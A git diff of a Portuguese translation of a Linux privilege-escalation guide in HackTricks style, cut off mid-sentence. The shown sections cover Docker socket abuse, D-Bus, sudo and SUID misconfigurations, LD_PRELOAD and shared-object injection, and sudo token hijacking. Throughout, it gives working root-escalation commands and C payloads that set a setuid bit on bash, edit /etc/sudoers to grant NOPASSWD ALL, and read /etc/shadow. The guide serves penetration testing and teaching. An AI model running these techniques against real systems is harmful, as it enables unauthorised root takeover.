service é gerada para cada conexão entrante** e somente o socket da conexão é passado para ela. Se **false**, todos os sockets de escuta são **passados para a unit de service iniciada**, e apenas uma unidade de service é gerada para todas as conexões. Esse valor é ignorado para datagram sockets e FIFOs, onde uma única unidade de service lida incondicionalmente com todo o tráfego entrante. **Padrão: false**. Por motivos de desempenho, recomenda-se escrever novos daemons apenas de forma compatível com `Accept=no`. +- `ExecStartPre`, `ExecStartPost`: Aceitam uma ou mais linhas de comando, que são **executadas antes** ou **depois** que os **sockets**/FIFOs de escuta sejam **criados** e ligados, respectivamente. O primeiro token da linha de comando deve ser um nome de arquivo absoluto, seguido dos argumentos para o processo. +- `ExecStopPre`, `ExecStopPost`: Comandos adicionais que são **executados antes** ou **depois** que os **sockets**/FIFOs de escuta sejam **fechados** e removidos, respectivamente. +- `Service`: Especifica o nome da unidade **service** a **ativar** em caso de **tráfego entrante**. Esta configuração só é permitida para sockets com `Accept=no`. O padrão é o service que tem o mesmo nome do socket (com o sufixo substituído). Na maioria dos casos, não deve ser necessário usar esta opção. ### Writable .socket files -Se você encontrar um arquivo `.socket` **gravável**, você pode **adicionar** no início da seção `[Socket]` algo como: `ExecStartPre=/home/kali/sys/backdoor` e o backdoor será executado antes do socket ser criado. Portanto, você **provavelmente precisará esperar até que a máquina seja reiniciada.**\ +Se você encontrar um arquivo `.socket` **gravável** você pode **adicionar** no início da seção `[Socket]` algo como: `ExecStartPre=/home/kali/sys/backdoor` e o backdoor será executado antes do socket ser criado. Portanto, você **provavelmente precisará esperar até que a máquina seja reiniciada.**\ _Observe que o sistema deve estar usando essa configuração de arquivo socket ou o backdoor não será executado_ ### Writable sockets -Se você **identificar qualquer socket gravável** (_agora estamos falando de Unix Sockets e não dos arquivos de configuração `.socket`_), então **você pode se comunicar** com esse socket e possivelmente explorar uma vulnerabilidade. +Se você **identificar qualquer socket gravável** (_agora estamos falando sobre Unix Sockets e não sobre os arquivos de config `.socket`_), então **você pode se comunicar** com esse socket e talvez explorar uma vulnerabilidade. -### Enumerar Unix Sockets +### Enumerate Unix Sockets ```bash netstat -a -p --unix ``` @@ -507,15 +538,15 @@ socket-command-injection.md ### HTTP sockets -Observe que podem existir alguns **sockets listening for HTTP** requests (_não estou falando sobre arquivos .socket, mas sobre os arquivos que atuam como unix sockets_). Você pode verificar isso com: +Observe que podem existir alguns **sockets listening for HTTP** requests (_não estou falando dos arquivos .socket, mas dos arquivos que atuam como unix sockets_). Você pode verificar isso com: ```bash curl --max-time 2 --unix-socket /pat/to/socket/files http:/index ``` -Se o socket **responder com uma requisição HTTP**, então você pode **comunicar-se** com ele e talvez **exploit alguma vulnerabilidade**. +Se o socket **responder a uma requisição HTTP**, então você pode **comunicar-se** com ele e talvez **explorar alguma vulnerabilidade**. -### Docker Socket Gravável +### Docker socket gravável -O Docker socket, frequentemente encontrado em `/var/run/docker.sock`, é um arquivo crítico que deve ser protegido. Por padrão, ele é gravável pelo usuário `root` e membros do grupo `docker`. Possuir acesso de escrita a esse socket pode levar a privilege escalation. Aqui está um resumo de como isso pode ser feito e métodos alternativos caso o Docker CLI não esteja disponível. +O Docker socket, frequentemente encontrado em `/var/run/docker.sock`, é um arquivo crítico que deve ser protegido. Por padrão, ele é gravável pelo usuário `root` e por membros do grupo `docker`. Possuir acesso de escrita a esse socket pode levar à escalada de privilégios. Aqui está uma explicação de como isso pode ser feito e métodos alternativos caso o Docker CLI não esteja disponível. #### **Privilege Escalation with Docker CLI** @@ -526,17 +557,17 @@ docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nse ``` Esses comandos permitem executar um container com acesso root ao sistema de arquivos do host. -#### **Usando Docker API diretamente** +#### **Usando Docker API Diretamente** -Em casos onde a Docker CLI não está disponível, o docker socket ainda pode ser manipulado usando a Docker API e comandos `curl`. +Em casos em que o Docker CLI não está disponível, o socket do Docker ainda pode ser manipulado usando a Docker API e comandos `curl`. -1. **List Docker Images:** Recupere a lista de imagens disponíveis. +1. **List Docker Images:** Retrieve the list of available images. ```bash curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json ``` -2. **Create a Container:** Envie uma requisição para criar um container que monte o diretório raiz do sistema host. +2. **Create a Container:** Send a request to create a container that mounts the host system's root directory. ```bash curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{"Image":"","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' http://localhost/containers/create @@ -548,7 +579,7 @@ Start the newly created container: curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers//start ``` -3. **Attach to the Container:** Use `socat` para estabelecer uma conexão com o container, permitindo a execução de comandos dentro dele. +3. **Attach to the Container:** Use `socat` to establish a connection to the container, enabling command execution within it. ```bash socat - UNIX-CONNECT:/var/run/docker.sock @@ -558,22 +589,22 @@ Connection: Upgrade Upgrade: tcp ``` -Após configurar a conexão com `socat`, você pode executar comandos diretamente no container com acesso root ao sistema de arquivos do host. +After setting up the `socat` connection, you can execute commands directly in the container with root-level access to the host's filesystem. ### Outros -Observe que, se você tem permissões de escrita sobre o docker socket porque você está **dentro do grupo `docker`**, você tem [**mais maneiras de escalar privilégios**](interesting-groups-linux-pe/index.html#docker-group). Se a [**docker API estiver ouvindo em uma porta** você também poderá comprometer ela](../../network-services-pentesting/2375-pentesting-docker.md#compromising). +Observe que, se você tiver permissões de escrita sobre o docker socket porque está **dentro do grupo `docker`**, você tem [**mais maneiras de escalar privilégios**](interesting-groups-linux-pe/index.html#docker-group). Se a [**Docker API estiver escutando em uma porta** você também poderá comprometê-la](../../network-services-pentesting/2375-pentesting-docker.md#compromising). -Consulte **mais maneiras de escapar do docker ou abusá-lo para escalar privilégios** em: +Veja **mais maneiras de escapar do docker ou abusar dele para escalar privilégios** em: {{#ref}} docker-security/ {{#endref}} -## Escalada de privilégios do Containerd (ctr) +## Containerd (ctr) privilege escalation -Se você descobrir que pode usar o comando **`ctr`** leia a página seguinte, pois **você pode ser capaz de abusar dele para escalar privilégios**: +Se você descobrir que pode usar o comando **`ctr`** leia a página a seguir, pois **pode ser possível abusar dele para escalar privilégios**: {{#ref}} @@ -582,7 +613,7 @@ containerd-ctr-privilege-escalation.md ## **RunC** privilege escalation -Se você descobrir que pode usar o comando **`runc`** leia a página seguinte, pois **você pode ser capaz de abusar dele para escalar privilégios**: +Se você descobrir que pode usar o comando **`runc`** leia a página a seguir, pois **pode ser possível abusar dele para escalar privilégios**: {{#ref}} @@ -591,15 +622,15 @@ runc-privilege-escalation.md ## **D-Bus** -D-Bus é um sofisticado **sistema de comunicação entre processos (IPC)** que permite que aplicações interajam e compartilhem dados de forma eficiente. Projetado com o sistema Linux moderno em mente, oferece uma estrutura robusta para diferentes formas de comunicação entre aplicações. +D-Bus é um sofisticado sistema de Comunicação Interprocessos (IPC) que permite que aplicações interajam e compartilhem dados de forma eficiente. Projetado com o sistema Linux moderno em mente, oferece uma estrutura robusta para diferentes formas de comunicação entre aplicações. -O sistema é versátil, suportando IPC básico que melhora o intercâmbio de dados entre processos, lembrando **sockets de domínio UNIX aprimorados**. Além disso, auxilia na transmissão de eventos ou sinais, promovendo integração entre componentes do sistema. Por exemplo, um sinal de um daemon Bluetooth sobre uma chamada recebida pode instruir um player de música a silenciar, melhorando a experiência do usuário. Adicionalmente, o D-Bus suporta um sistema de objetos remotos, simplificando requisições de serviço e invocações de métodos entre aplicações, racionalizando processos que tradicionalmente eram complexos. +O sistema é versátil, suportando IPC básico que melhora a troca de dados entre processos, assemelhando-se a **enhanced UNIX domain sockets**. Além disso, ajuda na difusão de eventos ou sinais, promovendo integração fluida entre componentes do sistema. Por exemplo, um sinal de um daemon Bluetooth sobre uma chamada entrante pode fazer com que um reprodutor de música silencie, melhorando a experiência do usuário. Ademais, o D-Bus suporta um sistema de objetos remotos, simplificando requisições de serviço e invocações de métodos entre aplicações, agilizando processos que antes eram complexos. -O D-Bus opera com um **modelo allow/deny**, gerenciando permissões de mensagens (chamadas de método, emissões de sinal, etc.) com base no efeito cumulativo de regras de política que correspondem. Essas políticas especificam interações com o bus, potencialmente permitindo escalada de privilégios por meio da exploração dessas permissões. +O D-Bus opera em um **allow/deny model**, gerenciando permissões de mensagens (chamadas de método, emissões de sinal, etc.) com base no efeito cumulativo de regras de política correspondentes. Essas políticas especificam interações com o bus, potencialmente permitindo escalada de privilégios através da exploração dessas permissões. -Um exemplo de tal política em `/etc/dbus-1/system.d/wpa_supplicant.conf` é fornecido, detalhando permissões para o usuário root possuir, enviar e receber mensagens de `fi.w1.wpa_supplicant1`. +Um exemplo de tal política em `/etc/dbus-1/system.d/wpa_supplicant.conf` é apresentado, detalhando permissões para o usuário root possuir, enviar e receber mensagens de `fi.w1.wpa_supplicant1`. -Políticas sem um usuário ou grupo especificado se aplicam de forma universal, enquanto políticas de contexto "default" se aplicam a todos não cobertos por outras políticas específicas. +Políticas sem um usuário ou grupo especificado são aplicadas universalmente, enquanto políticas de contexto "default" se aplicam a todos não cobertos por outras políticas específicas. ```xml @@ -608,7 +639,7 @@ Políticas sem um usuário ou grupo especificado se aplicam de forma universal, ``` -**Aprenda como enumerar e explorar uma comunicação D-Bus aqui:** +**Aprenda como enumerate e exploit uma comunicação D-Bus aqui:** {{#ref}} @@ -617,9 +648,9 @@ d-bus-enumeration-and-command-injection-privilege-escalation.md ## **Rede** -É sempre interessante enumerar a rede e descobrir a posição da máquina. +Sempre é interessante enumerate a rede e descobrir a posição da máquina. -### Enumeração genérica +### Generic enumeration ```bash #Hostname, hosts and DNS cat /etc/hostname /etc/hosts /etc/resolv.conf @@ -642,7 +673,7 @@ cat /etc/networks #Files used by network services lsof -i ``` -### Portas abertas +### Open ports Sempre verifique os serviços de rede em execução na máquina com os quais você não conseguiu interagir antes de acessá-la: ```bash @@ -651,7 +682,7 @@ Sempre verifique os serviços de rede em execução na máquina com os quais voc ``` ### Sniffing -Verifique se você pode sniff o tráfego. Se puder, poderá capturar algumas credenciais. +Verifique se você pode sniff o tráfego. Se conseguir, poderá obter algumas credenciais. ``` timeout 1 tcpdump ``` @@ -659,7 +690,7 @@ timeout 1 tcpdump ### Enumeração Genérica -Verifique **quem** você é, quais **privilégios** você tem, quais **usuários** estão nos sistemas, quais podem fazer **login** e quais têm **root privileges:** +Verifique **quem** você é, quais **privilégios** você possui, quais **usuários** existem nos sistemas, quais podem fazer **login** e quais têm **privilégios de root:** ```bash #Info about me id || (whoami && groups) 2>/dev/null @@ -683,12 +714,12 @@ gpg --list-keys 2>/dev/null ``` ### UID alto -Algumas versões do Linux foram afetadas por um bug que permite que usuários com **UID > INT_MAX** escalem privilégios. Mais informações: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) and [here](https://twitter.com/paragonsec/status/1071152249529884674).\ -**Exploit it** using: **`systemd-run -t /bin/bash`** +Algumas versões do Linux foram afetadas por um bug que permite a usuários com **UID > INT_MAX** elevar privilégios. Mais info: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) and [here](https://twitter.com/paragonsec/status/1071152249529884674).\ +**Exploit it** usando: **`systemd-run -t /bin/bash`** ### Grupos -Verifique se você é **membro de algum grupo** que possa conceder privilégios root: +Verifique se você é **membro de algum grupo** que possa conceder privilégios de root: {{#ref}} @@ -714,27 +745,27 @@ grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/logi ``` ### Senhas conhecidas -Se você **conhece alguma senha** do ambiente **tente fazer login como cada usuário** usando essa senha. +Se você **conhece qualquer senha** do ambiente **tente fazer login como cada usuário** usando essa senha. ### Su Brute -Se você não se importa de gerar muito ruído e os binários `su` e `timeout` estiverem presentes no computador, você pode tentar brute-force um usuário usando [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\ -[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) com o parâmetro `-a` também tenta brute-force usuários. +Se você não se importar em gerar muito ruído e os binários `su` e `timeout` estiverem presentes no computador, você pode tentar brute-force de usuários usando [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\ +[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) com o parâmetro `-a` também tenta brute-force em usuários. -## Abusos no $PATH gravável +## Abusos do PATH gravável ### $PATH -Se você descobrir que pode **escrever dentro de alguma pasta do $PATH** pode ser capaz de escalar privilégios criando uma backdoor dentro da pasta gravável com o nome de algum comando que será executado por um usuário diferente (idealmente root) e que **não seja carregado a partir de uma pasta localizada antes** da sua pasta gravável no $PATH. +Se você descobrir que pode escrever em alguma pasta do $PATH, pode ser capaz de escalar privilégios criando um backdoor dentro da pasta gravável com o nome de algum comando que será executado por outro usuário (idealmente root) e que não seja carregado de uma pasta que esteja antes da sua pasta gravável no $PATH. ### SUDO and SUID -Você pode estar autorizado a executar algum comando usando sudo ou eles podem ter o suid bit. Verifique usando: +Você pode ter permissão para executar algum comando usando sudo ou eles podem ter o bit suid. Verifique usando: ```bash sudo -l #Check commands you can execute with sudo find / -perm -4000 2>/dev/null #Find all SUID binaries ``` -Alguns **comandos inesperados permitem que você leia e/ou escreva arquivos ou até mesmo execute um comando.** Por exemplo: +Alguns **comandos inesperados permitem que você leia e/ou escreva arquivos ou até execute um comando.** Por exemplo: ```bash sudo awk 'BEGIN {system("/bin/sh")}' sudo find /etc -exec sh -i \; @@ -745,13 +776,13 @@ less>! ``` ### NOPASSWD -A configuração do Sudo pode permitir que um usuário execute um comando com os privilégios de outro usuário sem saber a senha. +A configuração do Sudo pode permitir que um usuário execute um comando com os privilégios de outro usuário sem conhecer a senha. ``` $ sudo -l User demo may run the following commands on crashlab: (root) NOPASSWD: /usr/bin/vim ``` -Neste exemplo o usuário `demo` pode executar `vim` como `root`; agora é trivial obter uma shell adicionando uma ssh key no diretório `root` ou chamando `sh`. +Neste exemplo o usuário `demo` pode executar `vim` como `root`, agora é trivial obter um shell adicionando uma ssh key no diretório root ou chamando `sh`. ``` sudo vim -c '!sh' ``` @@ -763,18 +794,18 @@ $ sudo -l User waldo may run the following commands on admirer: (ALL) SETENV: /opt/scripts/admin_tasks.sh ``` -Este exemplo, **based on HTB machine Admirer**, foi **vulnerable** a **PYTHONPATH hijacking** para carregar uma biblioteca python arbitrária enquanto executava o script como root: +Este exemplo, **baseado na HTB machine Admirer**, estava **vulnerável** a **PYTHONPATH hijacking** para carregar uma biblioteca python arbitrária ao executar o script como root: ```bash sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh ``` -### BASH_ENV preservado via sudo env_keep → shell root +### BASH_ENV preservado via sudo env_keep → root shell Se o sudoers preserva `BASH_ENV` (por exemplo, `Defaults env_keep+="ENV BASH_ENV"`), você pode aproveitar o comportamento de inicialização não interativa do Bash para executar código arbitrário como root ao invocar um comando permitido. -- Por que funciona: Para shells não interativos, o Bash avalia `$BASH_ENV` e carrega esse arquivo antes de executar o script alvo. Muitas regras do sudo permitem executar um script ou um wrapper de shell. Se `BASH_ENV` for preservado pelo sudo, seu arquivo é carregado com privilégios de root. +- Por que funciona: Para shells não interativos, o Bash avalia `$BASH_ENV` e executa o conteúdo desse arquivo antes de rodar o script alvo. Muitas regras do sudo permitem executar um script ou um wrapper de shell. Se `BASH_ENV` for preservado pelo sudo, seu arquivo será executado com privilégios de root. - Requisitos: -- Uma regra sudo que você possa executar (qualquer alvo que invoque `/bin/bash` de forma não interativa, ou qualquer script bash). +- Uma regra do sudo que você possa executar (qualquer alvo que invoque `/bin/bash` de forma não interativa, ou qualquer script bash). - `BASH_ENV` presente em `env_keep` (verifique com `sudo -l`). - PoC: @@ -788,13 +819,13 @@ BASH_ENV=/dev/shm/shell.sh sudo /usr/bin/systeminfo # or any permitted script/ # You should now have a root shell ``` - Endurecimento: -- Remova `BASH_ENV` (e `ENV`) de `env_keep`; prefira `env_reset`. +- Remova `BASH_ENV` (e `ENV`) de `env_keep`, prefira `env_reset`. - Evite wrappers de shell para comandos permitidos pelo sudo; use binários mínimos. - Considere registro de I/O do sudo e alertas quando variáveis de ambiente preservadas são usadas. ### Caminhos que contornam a execução do sudo -**Jump** para ler outros arquivos ou usar **symlinks**. Por exemplo, no arquivo sudoers: _hacker10 ALL= (root) /bin/less /var/log/\*_ +**Jump** para ler outros arquivos ou use **symlinks**. Por exemplo no arquivo sudoers: _hacker10 ALL= (root) /bin/less /var/log/\* ```bash sudo less /var/logs/anything less>:e /etc/shadow #Jump to read other files using privileged less @@ -804,30 +835,30 @@ less>:e /etc/shadow #Jump to read other files using privileged less ln /etc/shadow /var/log/new sudo less /var/log/new #Use symlinks to read any file ``` -Se um **wildcard** for usado (\*), é ainda mais fácil: +Se um **wildcard** for usado (\*), fica ainda mais fácil: ```bash sudo less /var/log/../../etc/shadow #Read shadow sudo less /var/log/something /etc/shadow #Red 2 files ``` **Contramedidas**: [https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/](https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/) -### Sudo command/SUID binary sem o caminho do comando +### Comando sudo/SUID binary sem especificar o caminho do comando -Se a **permissão sudo** for concedida para um único comando **sem especificar o caminho**: _hacker10 ALL= (root) less_ você pode explorá-la alterando a variável PATH +Se a **permissão do sudo** for dada a um único comando **sem especificar o caminho**: _hacker10 ALL= (root) less_ você pode explorá-la alterando a variável PATH ```bash export PATH=/tmp:$PATH #Put your backdoor in /tmp and name it "less" sudo less ``` -Esta técnica também pode ser usada se um binário **suid** **executa outro comando sem especificar o caminho para ele (sempre verifique com** _**strings**_ **o conteúdo de um SUID estranho)**). +Esta técnica também pode ser usada se um **suid** binário **executa outro comando sem especificar o caminho para ele (sempre verifique com** _**strings**_ **o conteúdo de um binário SUID estranho)**. [Payload examples to execute.](payloads-to-execute.md) -### SUID binary com caminho do comando +### SUID binary with command path -Se o binário **suid** **executa outro comando especificando o caminho**, então, você pode tentar **exportar uma função** com o nome do comando que o arquivo suid está chamando. +Se o binário **suid** **executa outro comando especificando o caminho**, então você pode tentar **export a function** com o nome do comando que o arquivo suid está chamando. -Por exemplo, se um binário suid chama _**/usr/sbin/service apache2 start**_, você deve tentar criar a função e exportá-la: +Por exemplo, se um binário suid chama _**/usr/sbin/service apache2 start**_ você tem que tentar criar a função e exportá-la: ```bash function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; } export -f /usr/sbin/service @@ -836,18 +867,18 @@ Então, quando você chamar o binário suid, essa função será executada ### LD_PRELOAD & **LD_LIBRARY_PATH** -A variável de ambiente **LD_PRELOAD** é usada para especificar uma ou mais bibliotecas compartilhadas (.so files) a serem carregadas pelo loader antes de todas as outras, incluindo a biblioteca padrão C (`libc.so`). Esse processo é conhecido como pré-carregamento de biblioteca. +A variável de ambiente **LD_PRELOAD** é usada para especificar uma ou mais bibliotecas compartilhadas (.so) que serão carregadas pelo carregador antes de todas as outras, incluindo a biblioteca C padrão (`libc.so`). Esse processo é conhecido como pré-carregamento de bibliotecas. -No entanto, para manter a segurança do sistema e evitar que esse recurso seja explorado, particularmente em executáveis **suid/sgid**, o sistema impõe certas condições: +No entanto, para manter a segurança do sistema e evitar que esse recurso seja explorado, especialmente em executáveis **suid/sgid**, o sistema impõe certas condições: -- O loader ignora **LD_PRELOAD** para executáveis onde o ID de usuário real (_ruid_) não corresponde ao ID de usuário efetivo (_euid_). +- O carregador ignora **LD_PRELOAD** para executáveis onde o ID de usuário real (_ruid_) não corresponde ao ID de usuário efetivo (_euid_). - Para executáveis com suid/sgid, apenas bibliotecas em caminhos padrão que também sejam suid/sgid são pré-carregadas. -Escalada de privilégio pode ocorrer se você tiver a capacidade de executar comandos com `sudo` e a saída de `sudo -l` incluir a declaração **env_keep+=LD_PRELOAD**. Essa configuração permite que a variável de ambiente **LD_PRELOAD** persista e seja reconhecida mesmo quando comandos são executados com `sudo`, potencialmente levando à execução de código arbitrário com privilégios elevados. +Privilege escalation pode ocorrer se você tiver a capacidade de executar comandos com `sudo` e a saída de `sudo -l` incluir a declaração **env_keep+=LD_PRELOAD**. Essa configuração permite que a variável de ambiente **LD_PRELOAD** persista e seja reconhecida mesmo quando os comandos forem executados com `sudo`, potencialmente levando à execução de código arbitrário com privilégios elevados. ``` Defaults env_keep += LD_PRELOAD ``` -Salve como **/tmp/pe.c** +Salvar como **/tmp/pe.c** ```c #include #include @@ -865,12 +896,12 @@ Então **compile-o** usando: cd /tmp gcc -fPIC -shared -o pe.so pe.c -nostartfiles ``` -Finalmente, **escalate privileges** executando +Finalmente, **escalate privileges** em execução ```bash sudo LD_PRELOAD=./pe.so #Use any command you can run with sudo ``` > [!CAUTION] -> Um privesc similar pode ser explorado se o atacante controlar a env variable **LD_LIBRARY_PATH**, porque ele controla o caminho onde as bibliotecas serão procuradas. +> Um privesc similar pode ser abusado se o atacante controlar a variável de ambiente **LD_LIBRARY_PATH**, pois ele controla o caminho onde as bibliotecas serão procuradas. ```c #include #include @@ -892,13 +923,13 @@ sudo LD_LIBRARY_PATH=/tmp ``` ### SUID Binary – .so injection -Quando encontrar um binário com permissões **SUID** que pareça fora do comum, é uma boa prática verificar se ele está carregando arquivos **.so** corretamente. Isso pode ser verificado executando o seguinte comando: +Ao encontrar um binary com permissões **SUID** que pareça incomum, é uma boa prática verificar se ele está carregando corretamente arquivos **.so**. Isso pode ser verificado executando o seguinte comando: ```bash strace 2>&1 | grep -i -E "open|access|no such file" ``` -Por exemplo, encontrar um erro como _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ indica um potencial para exploração. +Por exemplo, encontrar um erro como _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ sugere um potencial para exploração. -Para explorá-lo, procede-se criando um arquivo C, por exemplo _"/path/to/.config/libcalc.c"_, contendo o código a seguir: +Para explorar isso, cria-se um arquivo C, por exemplo _"/path/to/.config/libcalc.c"_, contendo o seguinte código: ```c #include #include @@ -911,7 +942,7 @@ system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p"); ``` Este código, uma vez compilado e executado, tem como objetivo elevar privilégios manipulando permissões de arquivos e executando um shell com privilégios elevados. -Compile o arquivo C acima em um objeto compartilhado (.so) com: +Compile o arquivo C acima em um shared object (.so) com: ```bash gcc -shared -o /path/to/.config/libcalc.so -fPIC /path/to/.config/libcalc.c ``` @@ -927,7 +958,7 @@ something.so => /lib/x86_64-linux-gnu/something.so readelf -d payroll | grep PATH 0x000000000000001d (RUNPATH) Library runpath: [/development] ``` -Agora que encontramos um binário SUID que carrega uma biblioteca a partir de um diretório onde podemos escrever, vamos criar a biblioteca nesse diretório com o nome necessário: +Agora que encontramos um binário SUID que carrega uma biblioteca de uma pasta onde podemos escrever, vamos criar a biblioteca nessa pasta com o nome necessário: ```c //gcc src.c -fPIC -shared -o /development/libshared.so #include @@ -948,9 +979,9 @@ isso significa que a biblioteca que você gerou precisa ter uma função chamada ### GTFOBins -[**GTFOBins**](https://gtfobins.github.io) é uma lista curada de binários Unix que podem ser explorados por um atacante para contornar restrições de segurança locais. [**GTFOArgs**](https://gtfoargs.github.io/) é o mesmo, mas para casos onde você pode **apenas injetar argumentos** em um comando. +[**GTFOBins**](https://gtfobins.github.io) é uma lista curada de binários Unix que podem ser explorados por um atacante para contornar restrições locais de segurança. [**GTFOArgs**](https://gtfoargs.github.io/) é o mesmo, mas para casos onde você pode **apenas injetar argumentos** em um comando. -O projeto reúne funções legítimas de binários Unix que podem ser abusadas para contornar restricted shells, escalate ou manter privilégios elevados, transferir arquivos, spawn bind and reverse shells, e facilitar outras tarefas de post-exploitation. +O projeto coleta funções legítimas de binários Unix que podem ser abusadas para escapar de shells restritos, escalar ou manter privilégios elevados, transferir arquivos, spawn de bind e reverse shells, e facilitar outras tarefas de post-exploitation. > gdb -nx -ex '!sh' -ex quit\ > sudo mysql -e '! /bin/sh'\ @@ -969,55 +1000,55 @@ https://gtfoargs.github.io/ ### FallOfSudo -Se você puder acessar `sudo -l` pode usar a ferramenta [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) para verificar se ela encontra uma forma de explorar alguma regra do sudo. +Se você conseguir acessar `sudo -l` você pode usar a ferramenta [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) para verificar se ela encontra alguma maneira de explorar qualquer regra do sudo. -### Reusing Sudo Tokens +### Reutilizando Tokens do Sudo -Em casos em que você tem **sudo access** mas não a senha, você pode escalar privilégios esperando a execução de um comando sudo e então hijackar o token de sessão. +Em casos onde você tem **sudo access** mas não a senha, você pode escalar privilégios por **esperar a execução de um comando sudo e então sequestrar o token de sessão**. Requisitos para escalar privilégios: -- Você já tem um shell como usuário "_sampleuser_" -- "_sampleuser_" tenha **usado `sudo`** para executar algo nos **últimos 15 minutos** (por padrão essa é a duração do token sudo que nos permite usar `sudo` sem digitar a senha) -- `cat /proc/sys/kernel/yama/ptrace_scope` seja 0 -- `gdb` esteja acessível (você deve ser capaz de enviá-lo) +- Você já tem um shell como o usuário _sampleuser_ +- _sampleuser_ tenha **usado `sudo`** para executar algo nos **últimos 15 minutos** (por padrão essa é a duração do token do sudo que nos permite usar `sudo` sem inserir qualquer senha) +- `cat /proc/sys/kernel/yama/ptrace_scope` deve ser 0 +- `gdb` esteja acessível (você deve conseguir fazer upload dele) (Você pode temporariamente habilitar `ptrace_scope` com `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` ou permanentemente modificando `/etc/sysctl.d/10-ptrace.conf` e definindo `kernel.yama.ptrace_scope = 0`) Se todos esses requisitos forem atendidos, **você pode escalar privilégios usando:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject) -- O **primeiro exploit** (`exploit.sh`) criará o binário `activate_sudo_token` em _/tmp_. Você pode usá-lo para **ativar o token sudo na sua sessão** (você não obterá automaticamente um shell root, use `sudo su`): +- O **primeiro exploit** (`exploit.sh`) criará o binário `activate_sudo_token` em _/tmp_. Você pode usá-lo para **ativar o sudo token na sua sessão** (você não obterá automaticamente um shell root, execute `sudo su`): ```bash bash exploit.sh /tmp/activate_sudo_token sudo su ``` -- O **segundo exploit** (`exploit_v2.sh`) criará uma shell sh em _/tmp_ **de propriedade do root com setuid** +- O **segundo exploit** (`exploit_v2.sh`) criará um sh shell em _/tmp_ **de propriedade do root com setuid** ```bash bash exploit_v2.sh /tmp/sh -p ``` -- O **terceiro exploit** (`exploit_v3.sh`) irá **criar um arquivo sudoers** que torna **os tokens do sudo eternos e permite que todos os usuários usem sudo** +- O **terceiro exploit** (`exploit_v3.sh`) irá **criar um sudoers file** que torna os **sudo tokens** eternos e permite que **todos os usuários** usem **sudo** ```bash bash exploit_v3.sh sudo su ``` ### /var/run/sudo/ts/\ -Se você tiver **permissões de escrita** na pasta ou em qualquer um dos arquivos criados dentro dela, você pode usar o binário [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) para **criar um sudo token para um usuário e PID**.\ -Por exemplo, se você puder sobrescrever o arquivo _/var/run/sudo/ts/sampleuser_ e tiver um shell como esse usuário com PID 1234, você pode **obter privilégios sudo** sem precisar saber a senha fazendo: +Se você tiver **write permissions** na pasta ou em qualquer um dos arquivos criados dentro dela, pode usar o binário [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) para **create a sudo token for a user and PID**.\ +Por exemplo, se você conseguir sobrescrever o arquivo _/var/run/sudo/ts/sampleuser_ e tiver um shell como esse usuário com PID 1234, você pode **obtain sudo privileges** sem precisar saber a password executando: ```bash ./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser ``` ### /etc/sudoers, /etc/sudoers.d O arquivo `/etc/sudoers` e os arquivos dentro de `/etc/sudoers.d` configuram quem pode usar `sudo` e como. Esses arquivos **por padrão só podem ser lidos pelo usuário root e pelo grupo root**.\ -**Se** você puder **ler** esse arquivo poderá **obter algumas informações interessantes**, e se puder **escrever** em qualquer arquivo você será capaz de **escalar privilégios**. +**Se** você conseguir **ler** este arquivo, poderá **obter algumas informações interessantes**, e se você conseguir **escrever** qualquer arquivo, será capaz de **escalar privilégios**. ```bash ls -l /etc/sudoers /etc/sudoers.d/ ls -ld /etc/sudoers.d/ ``` -Se você pode escrever, pode abusar desta permissão. +Se você pode escrever, pode abusar dessa permissão. ```bash echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers.d/README @@ -1031,15 +1062,15 @@ echo "Defaults timestamp_timeout=-1" >> /etc/sudoers.d/win ``` ### DOAS -Existem algumas alternativas ao binário `sudo`, como o `doas` do OpenBSD. Lembre-se de verificar sua configuração em `/etc/doas.conf` +Existem algumas alternativas para o binário `sudo`, como o `doas` do OpenBSD; lembre-se de verificar sua configuração em `/etc/doas.conf` ``` permit nopass demo as root cmd vim ``` ### Sudo Hijacking -Se souber que um **usuário normalmente se conecta a uma máquina e usa `sudo`** para escalar privilégios e você obteve um shell nesse contexto de usuário, pode **criar um novo executável sudo** que executará seu código como root e, em seguida, o comando do usuário. Depois, **modifique o $PATH** do contexto do usuário (por exemplo adicionando o novo caminho em .bash_profile) para que, quando o usuário executar sudo, seu executável sudo seja executado. +Se você sabe que um **usuário normalmente se conecta a uma máquina e usa `sudo`** para escalar privilégios e você obteve um shell nesse contexto do usuário, você pode **criar um novo executável sudo** que executará seu código como root e depois o comando do usuário. Em seguida, 